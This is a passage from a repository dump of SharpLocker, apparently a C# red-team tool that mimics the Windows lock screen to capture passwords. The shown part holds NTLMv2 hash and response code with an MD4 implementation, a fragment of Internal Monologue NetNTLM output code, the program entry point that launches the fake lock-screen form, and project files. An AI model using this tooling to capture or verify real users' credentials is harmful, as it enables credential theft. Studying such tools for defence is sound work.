string.Format("{0}::{1}:{2}:{3}:{4}", UserName, Domain, Resp1, Resp2, Challenge); 22 | } 23 | return string.Format("{0}::{1}:{2}:{3}:{4}", UserName, Domain, Challenge, Resp1, Resp2); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/InternalMonoglogue/StringExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace InternalMonologue 7 | { 8 | //this is hack to support .net 3.5 (default installation on Windows 7) 9 | public static class StringExtensions 10 | { 11 | public static bool IsNullOrWhiteSpace(this string value) 12 | { 13 | if (value == null) return true; 14 | return string.IsNullOrEmpty(value.Trim()); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/NTLMV2Hasher/hash.cs: -------------------------------------------------------------------------------- 1 | // Credit https://github.com/novotnyllc/cifs/blob/master/Cifs/MD4.cs 2 | 3 | /* Copyright (C) 1990-2, RSA Data Security, Inc. All rights reserved. 4 | 5 | License to copy and use this software is granted provided that it 6 | is identified as the "RSA Data Security, Inc. MD4 Message-Digest 7 | Algorithm" in all material mentioning or referencing this software 8 | or this function. 9 | 10 | License is also granted to make and use derivative works provided 11 | that such works are identified as "derived from the RSA Data 12 | Security, Inc. MD4 Message-Digest Algorithm" in all material 13 | mentioning or referencing the derived work. 14 | 15 | RSA Data Security, Inc. makes no representations concerning either 16 | the merchantability of this software or the suitability of this 17 | software for any particular purpose. It is provided "as is" 18 | without express or implied warranty of any kind. 19 | 20 | 21 | -------------------------------------------------------------- 22 | 23 | Ported from Norbert Hranitzky's (norbert.hranitzky@mchp.siemens.de) 24 | Java version by Oren Novotny (osn@po.cwru.edu) 25 | 26 | -------------------------------------------------------------- 27 | 28 | 29 | */ 30 | 31 | using System.Text; 32 | 33 | namespace NetNTLMv2Checker 34 | { 35 | using System; 36 | /// 37 | /// Implements the MD4 message digest algorithm in C# 38 | /// 39 | /// 40 | ///

41 | /// References: 42 | ///

    43 | ///
  1. Ronald L. Rivest, 44 | /// " 45 | /// The MD4 Message-Digest Algorithm", 46 | /// IETF RFC-1320 (informational). 47 | ///
  2. 48 | ///
49 | ///

50 | ///
51 | internal class MD4 52 | { 53 | // MD4 specific object variables 54 | //----------------------------------------------------------------------- 55 | 56 | /// 57 | /// The size in bytes of the input block to the transformation algorithm 58 | /// 59 | private const int BLOCK_LENGTH = 64; // = 512 / 8 60 | 61 | /// 62 | /// 512-bit work buffer = 16 x 32-bit words 63 | /// 64 | private readonly uint[] X = new uint[16]; 65 | 66 | /// 67 | /// 4 32-bit words (interim result) 68 | /// 69 | private readonly uint[] context = new uint[4]; 70 | 71 | /// 72 | /// 512-bit input buffer = 16 x 32-bit words holds until it reaches 512 bits 73 | /// 74 | private byte[] buffer = new byte[BLOCK_LENGTH]; 75 | 76 | /// 77 | /// Number of bytes procesed so far mod. 2 power of 64. 78 | /// 79 | private long count; 80 | 81 | 82 | // Constructors 83 | //------------------------------------------------------------------------ 84 | public MD4() 85 | { 86 | EngineReset(); 87 | } 88 | 89 | /// 90 | /// This constructor is here to implement the clonability of this class 91 | /// 92 | /// 93 | private MD4(MD4 md) : this() 94 | { 95 | //this(); 96 | context = (uint[])md.context.Clone(); 97 | buffer = (byte[])md.buffer.Clone(); 98 | count = md.count; 99 | } 100 | 101 | // Clonable method implementation 102 | //------------------------------------------------------------------------- 103 | public object Clone() 104 | { 105 | return new MD4(this); 106 | } 107 | 108 | // JCE methods 109 | //------------------------------------------------------------------------- 110 | 111 | /// 112 | /// Resets this object disregarding any temporary data present at the 113 | /// time of the invocation of this call. 114 | /// 115 | private void EngineReset() 116 | { 117 | // initial values of MD4 i.e. A, B, C, D 118 | // as per rfc-1320; they are low-order byte first 119 | context[0] = 0x67452301; 120 | context[1] = 0xEFCDAB89; 121 | context[2] = 0x98BADCFE; 122 | context[3] = 0x10325476; 123 | count = 0L; 124 | for (int i = 0; i < BLOCK_LENGTH; i++) 125 | buffer[i] = 0; 126 | } 127 | 128 | 129 | /// 130 | /// Continues an MD4 message digest using the input byte 131 | /// 132 | /// byte to input 133 | private void EngineUpdate(byte b) 134 | { 135 | // compute number of bytes still unhashed; ie. present in buffer 136 | var i = (int)(count % BLOCK_LENGTH); 137 | count++; // update number of bytes 138 | buffer[i] = b; 139 | if (i == BLOCK_LENGTH - 1) 140 | Transform(ref buffer, 0); 141 | } 142 | 143 | /// 144 | /// MD4 block update operation 145 | /// 146 | /// 147 | /// Continues an MD4 message digest operation by filling the buffer, 148 | /// transform(ing) data in 512-bit message block(s), updating the variables 149 | /// context and count, and leaving (buffering) the remaining bytes in buffer 150 | /// for the next update or finish. 151 | /// 152 | /// input block 153 | /// start of meaningful bytes in input 154 | /// count of bytes in input blcok to consider 155 | private void EngineUpdate(byte[] input, int offset, int len) 156 | { 157 | // make sure we don't exceed input's allocated size/length 158 | if (offset < 0 || len < 0 || (long)offset + len > input.Length) 159 | throw new ArgumentOutOfRangeException(); 160 | 161 | // compute number of bytes still unhashed; ie. present in buffer 162 | var bufferNdx = (int)(count % BLOCK_LENGTH); 163 | count += len; // update number of bytes 164 | int partLen = BLOCK_LENGTH - bufferNdx; 165 | int i = 0; 166 | if (len >= partLen) 167 | { 168 | Array.Copy(input, offset + i, buffer, bufferNdx, partLen); 169 | 170 | Transform(ref buffer, 0); 171 | 172 | for (i = partLen; i + BLOCK_LENGTH - 1 < len; i += BLOCK_LENGTH) 173 | Transform(ref input, offset + i); 174 | bufferNdx = 0; 175 | } 176 | // buffer remaining input 177 | if (i < len) 178 | Array.Copy(input, offset + i, buffer, bufferNdx, len - i); 179 | } 180 | 181 | /// 182 | /// Completes the hash computation by performing final operations such 183 | /// as padding. At the return of this engineDigest, the MD engine is 184 | /// reset. 185 | /// 186 | /// the array of bytes for the resulting hash value. 187 | private byte[] EngineDigest() 188 | { 189 | // pad output to 56 mod 64; as RFC1320 puts it: congruent to 448 mod 512 190 | var bufferNdx = (int)(count % BLOCK_LENGTH); 191 | int padLen = (bufferNdx < 56) ? (56 - bufferNdx) : (120 - bufferNdx); 192 | 193 | // padding is always binary 1 followed by binary 0's 194 | var tail = new byte[padLen + 8]; 195 | tail[0] = 0x80; 196 | 197 | // append length before final transform 198 | // save number of bits, casting the long to an array of 8 bytes 199 | // save low-order byte first. 200 | for (int i = 0; i < 8; i++) 201 | tail[padLen + i] = (byte)((count * 8) >> (8 * i)); 202 | 203 | EngineUpdate(tail, 0, tail.Length); 204 | 205 | var result = new byte[16]; 206 | // cast this MD4's context (array of 4 uints) into an array of 16 bytes. 207 | for (int i = 0; i < 4; i++) 208 | for (int j = 0; j < 4; j++) 209 | result[i * 4 + j] = (byte)(context[i] >> (8 * j)); 210 | 211 | // reset the engine 212 | EngineReset(); 213 | return result; 214 | } 215 | 216 | /// 217 | /// Returns a byte hash from a string 218 | /// 219 | /// string to hash 220 | /// byte-array that contains the hash 221 | public byte[] GetByteHashFromString(string s) 222 | { 223 | byte[] b = Encoding.UTF8.GetBytes(s); 224 | var md4 = new MD4(); 225 | 226 | md4.EngineUpdate(b, 0, b.Length); 227 | 228 | return md4.EngineDigest(); 229 | } 230 | 231 | /// 232 | /// Returns a binary hash from an input byte array 233 | /// 234 | /// byte-array to hash 235 | /// binary hash of input 236 | public byte[] GetByteHashFromBytes(byte[] b) 237 | { 238 | var md4 = new MD4(); 239 | 240 | md4.EngineUpdate(b, 0, b.Length); 241 | 242 | return md4.EngineDigest(); 243 | } 244 | 245 | /// 246 | /// Returns a string that contains the hexadecimal hash 247 | /// 248 | /// byte-array to input 249 | /// String that contains the hex of the hash 250 | public string GetHexHashFromBytes(byte[] b) 251 | { 252 | byte[] e = GetByteHashFromBytes(b); 253 | return BytesToHex(e, e.Length); 254 | } 255 | 256 | /// 257 | /// Returns a byte hash from the input byte 258 | /// 259 | /// byte to hash 260 | /// binary hash of the input byte 261 | public byte[] GetByteHashFromByte(byte b) 262 | { 263 | var md4 = new MD4(); 264 | 265 | md4.EngineUpdate(b); 266 | 267 | return md4.EngineDigest(); 268 | } 269 | 270 | /// 271 | /// Returns a string that contains the hexadecimal hash 272 | /// 273 | /// byte to hash 274 | /// String that contains the hex of the hash 275 | public string GetHexHashFromByte(byte b) 276 | { 277 | byte[] e = GetByteHashFromByte(b); 278 | return BytesToHex(e, e.Length); 279 | } 280 | 281 | /// 282 | /// Returns a string that contains the hexadecimal hash 283 | /// 284 | /// string to hash 285 | /// String that contains the hex of the hash 286 | public string GetHexHashFromString(string s) 287 | { 288 | byte[] b = GetByteHashFromString(s); 289 | return BytesToHex(b, b.Length); 290 | } 291 | 292 | private static string BytesToHex(byte[] a, int len) 293 | { 294 | string temp = BitConverter.ToString(a); 295 | 296 | // We need to remove the dashes that come from the BitConverter 297 | var sb = new StringBuilder((len - 2) / 2); // This should be the final size 298 | 299 | for (int i = 0; i < temp.Length; i++) 300 | if (temp[i] != '-') 301 | sb.Append(temp[i]); 302 | 303 | return sb.ToString(); 304 | } 305 | 306 | // own methods 307 | //----------------------------------------------------------------------------------- 308 | 309 | /// 310 | /// MD4 basic transformation 311 | /// 312 | /// 313 | /// Transforms context based on 512 bits from input block starting 314 | /// from the offset'th byte. 315 | /// 316 | /// input sub-array 317 | /// starting position of sub-array 318 | private void Transform(ref byte[] block, int offset) 319 | { 320 | // decodes 64 bytes from input block into an array of 16 32-bit 321 | // entities. Use A as a temp var. 322 | for (int i = 0; i < 16; i++) 323 | X[i] = ((uint)block[offset++] & 0xFF) | 324 | (((uint)block[offset++] & 0xFF) << 8) | 325 | (((uint)block[offset++] & 0xFF) << 16) | 326 | (((uint)block[offset++] & 0xFF) << 24); 327 | 328 | 329 | uint A = context[0]; 330 | uint B = context[1]; 331 | uint C = context[2]; 332 | uint D = context[3]; 333 | 334 | A = FF(A, B, C, D, X[0], 3); 335 | D = FF(D, A, B, C, X[1], 7); 336 | C = FF(C, D, A, B, X[2], 11); 337 | B = FF(B, C, D, A, X[3], 19); 338 | A = FF(A, B, C, D, X[4], 3); 339 | D = FF(D, A, B, C, X[5], 7); 340 | C = FF(C, D, A, B, X[6], 11); 341 | B = FF(B, C, D, A, X[7], 19); 342 | A = FF(A, B, C, D, X[8], 3); 343 | D = FF(D, A, B, C, X[9], 7); 344 | C = FF(C, D, A, B, X[10], 11); 345 | B = FF(B, C, D, A, X[11], 19); 346 | A = FF(A, B, C, D, X[12], 3); 347 | D = FF(D, A, B, C, X[13], 7); 348 | C = FF(C, D, A, B, X[14], 11); 349 | B = FF(B, C, D, A, X[15], 19); 350 | 351 | A = GG(A, B, C, D, X[0], 3); 352 | D = GG(D, A, B, C, X[4], 5); 353 | C = GG(C, D, A, B, X[8], 9); 354 | B = GG(B, C, D, A, X[12], 13); 355 | A = GG(A, B, C, D, X[1], 3); 356 | D = GG(D, A, B, C, X[5], 5); 357 | C = GG(C, D, A, B, X[9], 9); 358 | B = GG(B, C, D, A, X[13], 13); 359 | A = GG(A, B, C, D, X[2], 3); 360 | D = GG(D, A, B, C, X[6], 5); 361 | C = GG(C, D, A, B, X[10], 9); 362 | B = GG(B, C, D, A, X[14], 13); 363 | A = GG(A, B, C, D, X[3], 3); 364 | D = GG(D, A, B, C, X[7], 5); 365 | C = GG(C, D, A, B, X[11], 9); 366 | B = GG(B, C, D, A, X[15], 13); 367 | 368 | A = HH(A, B, C, D, X[0], 3); 369 | D = HH(D, A, B, C, X[8], 9); 370 | C = HH(C, D, A, B, X[4], 11); 371 | B = HH(B, C, D, A, X[12], 15); 372 | A = HH(A, B, C, D, X[2], 3); 373 | D = HH(D, A, B, C, X[10], 9); 374 | C = HH(C, D, A, B, X[6], 11); 375 | B = HH(B, C, D, A, X[14], 15); 376 | A = HH(A, B, C, D, X[1], 3); 377 | D = HH(D, A, B, C, X[9], 9); 378 | C = HH(C, D, A, B, X[5], 11); 379 | B = HH(B, C, D, A, X[13], 15); 380 | A = HH(A, B, C, D, X[3], 3); 381 | D = HH(D, A, B, C, X[11], 9); 382 | C = HH(C, D, A, B, X[7], 11); 383 | B = HH(B, C, D, A, X[15], 15); 384 | 385 | context[0] += A; 386 | context[1] += B; 387 | context[2] += C; 388 | context[3] += D; 389 | } 390 | 391 | // The basic MD4 atomic functions. 392 | 393 | private uint FF(uint a, uint b, uint c, uint d, uint x, int s) 394 | { 395 | uint t = a + ((b & c) | (~b & d)) + x; 396 | return t << s | t >> (32 - s); 397 | } 398 | 399 | private uint GG(uint a, uint b, uint c, uint d, uint x, int s) 400 | { 401 | uint t = a + ((b & (c | d)) | (c & d)) + x + 0x5A827999; 402 | return t << s | t >> (32 - s); 403 | } 404 | 405 | private uint HH(uint a, uint b, uint c, uint d, uint x, int s) 406 | { 407 | uint t = a + (b ^ c ^ d) + x + 0x6ED9EBA1; 408 | return t << s | t >> (32 - s); 409 | } 410 | } 411 | 412 | // class MD4 413 | } 414 | 415 | // namespace MD4Hash -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/NTLMV2Hasher/ntlm.cs: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------------- 2 | # Name: ntlm 3 | # Purpose: Main wrapper for checking NTLMv2 Type 3 hashes 4 | # 5 | # Author: Oliver Sealey 6 | # 7 | # Created: 22/02/2020 8 | # Copyright: (c) Oliver Sealey 2020 9 | # Licence: GPL 10 | # ------------------------------------------------------------------------------- 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Security.Cryptography; 17 | using System.IO; 18 | 19 | namespace NetNTLMv2Checker 20 | { 21 | class ntlm 22 | { 23 | public static byte[] getNTLMv2Response(string target, string user, string password, byte[] server_challenege, byte[] blob) 24 | { 25 | /* 26 | * Creates the NTLMv2 Response see in the Type 3 NTLM Message 27 | */ 28 | byte[] ntlmv2Response = new byte[16]; 29 | byte[] ntlmv2Hash = new byte[16]; 30 | byte[] targetInfomration = new byte[server_challenege.Length + blob.Length]; 31 | 32 | System.Buffer.BlockCopy(server_challenege, 0, targetInfomration, 0, server_challenege.Length); 33 | System.Buffer.BlockCopy(blob, 0, targetInfomration, server_challenege.Length, blob.Length); 34 | 35 | ntlmv2Hash = ntlm.getNtlmv2Hash(target, user, password); 36 | HMACMD5 hmac = new HMACMD5(ntlmv2Hash); 37 | 38 | ntlmv2Response = hmac.ComputeHash(targetInfomration); 39 | 40 | return ntlmv2Response; 41 | 42 | 43 | 44 | } 45 | public static byte[] getNtlmv2Hash(string target, string user, string password) 46 | { 47 | /* 48 | * Creates the NTLMv2 hash 49 | * This is created by concatinating the Unicode version of uppercase username and target/domain and HMAC_MD5 these using the NTLM as the key 50 | */ 51 | byte[] ntlmHash = new byte[16]; 52 | byte[] ntlmv2Hash = new byte[16]; 53 | 54 | string targetInfomration = user.ToUpper() + target.ToUpper(); 55 | UnicodeEncoding unicode = new UnicodeEncoding(); 56 | ntlmHash = ntlm.getNtlmHash(password); 57 | 58 | HMACMD5 hmac = new HMACMD5(ntlmHash); 59 | 60 | ntlmv2Hash = hmac.ComputeHash(unicode.GetBytes(targetInfomration)); 61 | 62 | return ntlmv2Hash; 63 | 64 | } 65 | 66 | public static byte[] getNtlmHash(string password) 67 | { 68 | /* 69 | * Creates the NTLM hash, this is the MD4 of the the password 70 | */ 71 | 72 | byte[] ntlmHash = new byte[16]; 73 | UnicodeEncoding unicode = new UnicodeEncoding(); 74 | MD4 md4 = new MD4(); 75 | ntlmHash = md4.GetByteHashFromBytes(unicode.GetBytes(password)); 76 | return ntlmHash; 77 | } 78 | 79 | 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /SharpLocker/PasswordAudit/NTLMV2Hasher/utils.cs: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------------- 2 | # Name: utils 3 | # Purpose: Various utils required for verifying NTLMv2 hashes 4 | # 5 | # Author: Oliver Sealey 6 | # 7 | # Created: 22/02/2020 8 | # Copyright: (c) Oliver Sealey 2020 9 | # Licence: GPL 10 | # ------------------------------------------------------------------------------- 11 | using System; 12 | 13 | namespace NetNTLMv2Checker 14 | { 15 | class utils 16 | { 17 | // https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa 18 | public static string ByteArrayToString(byte[] ba) 19 | { 20 | return BitConverter.ToString(ba).Replace("-", ""); 21 | } 22 | 23 | // https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa 24 | public static byte[] StringToByteArray(String hex) 25 | { 26 | int NumberChars = hex.Length; 27 | byte[] bytes = new byte[NumberChars / 2]; 28 | for (int i = 0; i < NumberChars; i += 2) 29 | bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); 30 | return bytes; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /SharpLocker/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | 8 | namespace SharpLocker 9 | { 10 | static class Program 11 | { 12 | 13 | 14 | 15 | /// 16 | /// The main entry point for the application. 17 | /// 18 | [STAThread] 19 | static void Main() 20 | { 21 | Application.EnableVisualStyles(); 22 | Application.SetCompatibleTextRenderingDefault(false); 23 | Application.Run(new LockScreenForm()); 24 | 25 | } 26 | 27 | 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /SharpLocker/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("SharpLocker")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("SharpLocker")] 12 | [assembly: AssemblyCopyright("Copyright © 2019")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("a6f8500f-68bc-4efc-962a-6c6e68d893af")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /SharpLocker/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpLocker.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpLocker.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap arrow { 67 | get { 68 | object obj = ResourceManager.GetObject("arrow", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Looks up a localized resource of type System.Drawing.Bitmap. 75 | /// 76 | internal static System.Drawing.Bitmap button { 77 | get { 78 | object obj = ResourceManager.GetObject("button", resourceCulture); 79 | return ((System.Drawing.Bitmap)(obj)); 80 | } 81 | } 82 | 83 | /// 84 | /// Looks up a localized resource of type System.Drawing.Bitmap. 85 | /// 86 | internal static System.Drawing.Bitmap button1 { 87 | get { 88 | object obj = ResourceManager.GetObject("button1", resourceCulture); 89 | return ((System.Drawing.Bitmap)(obj)); 90 | } 91 | } 92 | 93 | /// 94 | /// Looks up a localized resource of type System.Drawing.Bitmap. 95 | /// 96 | internal static System.Drawing.Bitmap button2 { 97 | get { 98 | object obj = ResourceManager.GetObject("button2", resourceCulture); 99 | return ((System.Drawing.Bitmap)(obj)); 100 | } 101 | } 102 | 103 | /// 104 | /// Looks up a localized resource of type System.Drawing.Bitmap. 105 | /// 106 | internal static System.Drawing.Bitmap thumb_14400082930User { 107 | get { 108 | object obj = ResourceManager.GetObject("thumb_14400082930User", resourceCulture); 109 | return ((System.Drawing.Bitmap)(obj)); 110 | } 111 | } 112 | 113 | /// 114 | /// Looks up a localized resource of type System.Drawing.Bitmap. 115 | /// 116 | internal static System.Drawing.Bitmap Untitled_1 { 117 | get { 118 | object obj = ResourceManager.GetObject("Untitled-1", resourceCulture); 119 | return ((System.Drawing.Bitmap)(obj)); 120 | } 121 | } 122 | 123 | /// 124 | /// Looks up a localized resource of type System.Drawing.Bitmap. 125 | /// 126 | internal static System.Drawing.Bitmap usericon { 127 | get { 128 | object obj = ResourceManager.GetObject("usericon", resourceCulture); 129 | return ((System.Drawing.Bitmap)(obj)); 130 | } 131 | } 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /SharpLocker/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\thumb_14400082930User.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | 125 | ..\Resources\button.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 126 | 127 | 128 | ..\Resources\button1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 129 | 130 | 131 | ..\Resources\button1.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 132 | 133 | 134 | ..\Resources\usericon.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 135 | 136 | 137 | ..\Resources\Untitled-1.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 138 | 139 | 140 | ..\Resources\arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 141 | 142 | -------------------------------------------------------------------------------- /SharpLocker/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpLocker.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpLocker/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /SharpLocker/Resources/Untitled-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/Untitled-1.jpg -------------------------------------------------------------------------------- /SharpLocker/Resources/arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/arrow.png -------------------------------------------------------------------------------- /SharpLocker/Resources/button.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/button.jpg -------------------------------------------------------------------------------- /SharpLocker/Resources/button1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/button1.jpg -------------------------------------------------------------------------------- /SharpLocker/Resources/button1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/button1.png -------------------------------------------------------------------------------- /SharpLocker/Resources/thumb_14400082930User.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/thumb_14400082930User.png -------------------------------------------------------------------------------- /SharpLocker/Resources/usericon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/SharpLocker/Resources/usericon.png -------------------------------------------------------------------------------- /SharpLocker/SharpLocker.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A6F8500F-68BC-4EFC-962A-6C6E68D893AF} 8 | WinExe 9 | SharpLocker 10 | SharpLocker 11 | v4.0 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | preview 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | preview 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | Form 58 | 59 | 60 | LockScreenForm.cs 61 | 62 | 63 | Form 64 | 65 | 66 | 67 | 68 | 69 | 70 | LockScreenForm.cs 71 | 72 | 73 | ResXFileCodeGenerator 74 | Resources.Designer.cs 75 | Designer 76 | 77 | 78 | True 79 | Resources.resx 80 | True 81 | 82 | 83 | SettingsSingleFileGenerator 84 | Settings.Designer.cs 85 | 86 | 87 | True 88 | Settings.settings 89 | True 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /sharplocker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Pickfordmatt/SharpLocker/53692bdec2241899285c67d56b86f3bf8a2e9ee3/sharplocker.png --------------------------------------------------------------------------------